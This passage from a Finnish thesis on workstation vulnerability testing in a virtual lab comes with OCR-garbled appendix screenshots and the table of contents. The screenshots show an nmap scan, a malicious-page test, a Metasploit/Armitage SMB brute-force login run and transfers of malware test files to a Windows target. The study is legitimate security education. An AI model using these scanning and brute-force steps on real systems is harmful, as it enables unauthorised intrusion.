teki erittdin mielenkiintoisen se, ettd pddsimme oikeasti kokeilemaan hyokkaysten to-
teuttamista tydasemiin ja nakemaan, milla tavalla niiltd suojaudutaan. Projektin tuloksia

ja menetelmia voi hyddyntaa haavoittuvuustestauksissa koti- ja yritysymparistoissa.
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Liitteet

:~# nmap -sS 10.114.48.211 -0

Starting Nmap 7.12 ( https://nmap.org ) at 2017-03-29 14:15 EEST
Nmap scan report for 10.114.48.211

Host is up (0.00055s latency).

Not shown: 993 filtered ports

PORT STATE SERVICE

23/tcp closed telnet

80/tcp closed http

135/tcp closed msrpc

139/tcp closed netbios-ssn

445/tcp closed microsoft-ds

5800/tcp closed vnc-http

8080/tcp closed http-proxy

MAC Address: 00:50:56:AE:4B:40 (VMware)

Too many fingerprints match this host to give specific 0S details
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/su
bmit/
Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds

. -
Nt 3

Liite 1.Kuvassa Nmap skannaus kohdistettu kohteeseen Ubuntul0-10.
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il-amd64 #1 SMP Debian 4.5.5-1kalil
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Liite 2. Kuvassa nakyy aiempien latausten lokitiedot ja tamanhetkinen versio.
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Liite 3. Kuvassa esitetty vikailmoitus viittaa levytilan puutteeseen.
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Liite 5. Kuvassa esitetty komennon cat/Var/log/Xorg.0.log | less tuloste.
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Liite 7. Default Gatewayn pingaus.

=
File View VM

= > = n I3 e &

€ http://10.114 .48 205:8080/9YIRZgOTI/ktpiP3.html - Windows Internet Explorer (Not Responding)
e T
S~ e

Favorites 23 & Suggested Sites v @] Web Slice Gallery ~ o

p://10.114.48.205:8080/9YIRZgOTI/ktpiP3.htmli ~[=[¢[x|[2 &n

& http://10.114.48.205:8080/9YIRZgOT I/ ktpiP3.html -8 - @=h ~ Page~ Safety~ Tools~ @~ i =

(2 items remaining) Do ms—" &P Internet | Protected Mode: On

| : .
2l e . < =]

Liite 8. Kuvassa esitetty haittasivuston kdynnistys.
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() thesis2-win7-2 on

File View WM

NP & @ e PR
ﬁ) JCaIcuIator = = @
Recycle Bin

View Edit Help

MC MR MS M= M-
— CE = 3 v
T 8 9 %

| Untitled - Motepad
File Edit Format View Help

¥ [& windows i
* [ antivirus
> ﬁ arkeia
¥ (& backdoor

» [ brightstor : !
» (i browser 10.114.48.162 16 10, .48, ) 10.114.48.127 10.114.48. 204

-

msf > use auxiliary/scann
msf auxiliary(
RHO! > 10.114
msf auxiliary(
ain => WORKGROUP
auxiliary ( ) e OVE_US , FILE true

USER_AS_PASS false

msf BLANK_PASSWORDS false

BLANK_PASSWORDS

mst auxiliary( > set USERP. FILE /fusr/share/armitage/userpas
USERPASS_FILE => /usr/share/armitage/fuserpas St

msf auxiliary( ) > set RPORT 445

RPORT => 445

msf auxiliary( ) = set DB_ALL_CREDS false

DB_ALL_CREDS == false

msf auxiliary( ) = run -j

[*] Auxiliary module running as background job

[*1 1445 - SMB - Starting SMB login bruteforce

[*] 10.114. 45 - This system does not accept authentication with any credentials, proceeding with brute force
[*1 S ] 1 hosts (1005 complete)

mst auxiliary(

To release cursor, press CTRL + ALT

Liite 10. Bruteforce hydkkays Armitagella
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Recycle Bin

BN Administrator: C:\Windows\System32\cmd.exe
Access denied
rootP180.114.48.2085’s password:
. Fatal: Server unexpectedly closed network connection

C:\Windows\system32>pscp.exe rootlF18.114.48.205:/root/Desktop/CCNASec_Case_v4.pd
f C:/Users/student/Desktop

CCNASec_... root(P10.114.48.2085’s password:
CCNASec_Case_v4.pdf i 98 kB I 98.6 kBs/s | ETA: 80:00:00 | 10082

C:\Windows\system32>pscp.exe rootl18.114.48.205:/root/Desktop/back.exe C:/Users/
istudent/Desktop

root@180.114.48.2085’s password:

hack.exe i 72 kB i 72.1 kB/s | ETA: 00:00:00 | 100

C:\Windows\system32>pscp.exe rootl16B.114.48.205:/root/Desktop/asd/partl.exe C:/U
se student/Desktop

rootP18.114.48.2085’s password:

partl.exe i 573 kB | 573.5 kB/s | ETA: 08:80:00 | 1080«

C:\Windows\system32>pscp.exe rootl108.114.48.205:/root/Desktop/asd/part2.exe C:/U
sers/student/Desktop

rootP18.114.48.2085’s password:

part2.exe i 29292 kB | 2929.9 kBrs/s | ETA: 00:80:08 | 16862

C:\Windows\system32>

Liite 11. Kuvassa esitetty tiedostojen siirto komentorivin pscp:ll&.

ubuntu@ubuntu:~$ sudo ufw allow 135/tcp
Rule added

ubuntu@ubuntu:~$ sudo ufw allow 23/tcp
Rule added

ubuntu@ubuntu:~$ sudo ufw allow 5800/tcp
Rule added

ubuntu@ubuntu:~$ sudo ufw allow 8080/tcp
[sudo] password for ubuntu:

Rule added

ubuntu@ubuntu:~$

Liite 12. Avataan ubuntun palomuurin portteja.

& & & ubuntu@ubuntu: ~

File Edit View Search Terminal Help

ubuntu@ubuntu:—~%$ sudo ufw status =
[sudo]l] password for ubuntu:

Status: active

Action From
ALLOW 19.144.48.
ALLOW 1©.144.48.
ALLOW 10.144.48.
ALLOW 1©.144.48.
ALLOwW 10.144.48.
ALLOW 190.144.48.
ALLOW 190.144.48.
ALLOW Anywhere
ALLOW Anywhere
ALLOW Anywhere
5800/tcp ALLOW Anywhere
8080/tcp ALLOW Anywhere
3632/tcp ALLOwW Anywhere
3630/tcp ALLOW Anywhere
ALLOW Anywhere
ALLOW Anywhere

ubuntu@ubuntu:~s B

Liite 13. Palomuurin tilanne porttien avaamisten jalkeen.



	1 Johdanto
	2 Työasemien haavoittuvuus
	2.1 Haavoittuvuudet
	2.2 Haittaohjelmat

	3 Kali Linux -järjestelmä
	3.1 Yleistä
	3.2 Käyttötarkoitus
	3.3 Historia
	3.4 Yleiset sovellukset

	4 Tietoturvapolitiikka
	4.1 Yleistä
	4.2 Tietoturva yrityksissä
	4.3 Yleinen tietosuoja-asetus

	5 Puolustautuminen hyökkäyksiltä
	5.1 Palomuuri
	5.2 DMZ eli Eteisverkko
	5.3 Virustorjuntaohjelmistot
	5.4 IDS eli tunkeilijan havaitsemisjärjestelmä
	5.5 Käyttöjärjestelmän koventaminen
	5.6 Tietoturvatarkastukset
	5.7 Hyökkäyksen tunnistaminen ja reagointi

	6 Hyökkäystekniikoita
	6.1 Hyökkäyksen rakenne
	6.2 Kohteen löytäminen
	6.3 Spoofing attack eli huijaushyökkäys
	6.4  Dropper-menetelmä
	6.5  Sivuttaissiirtymä
	6.6  ROP-mitigation
	6.7  DLL injection

	7 Haavoittuvuustestaus
	7.1 Virtuaalinen ympäristö
	7.2  Laitteiden ja porttien skannaus
	7.3  Ympäristön asetusten valmistelu
	7.4  Haittasivuston testaus
	7.5 Windows 7 -työaseman haavoittuvuustestaus Armitagella
	7.6 Haitallinen PDF-tiedosto
	7.7 Haittaohjelmien siirto kohteisiin ja Avastin testaus
	7.8 Avastin testaus haittaohjelmia ajettaessa
	7.9 Palo Alto Traps -testaus
	7.10 Windows Server -palvelinkäyttöjärjestelmä
	7.11  Web Delivery for Linux -hyökkäys
	7.12 Binary Linux Trojan -hyökkäys
	7.13 Pivoting-tekniikka

	8 Yhteenveto
	Lähteet
	Liitteet

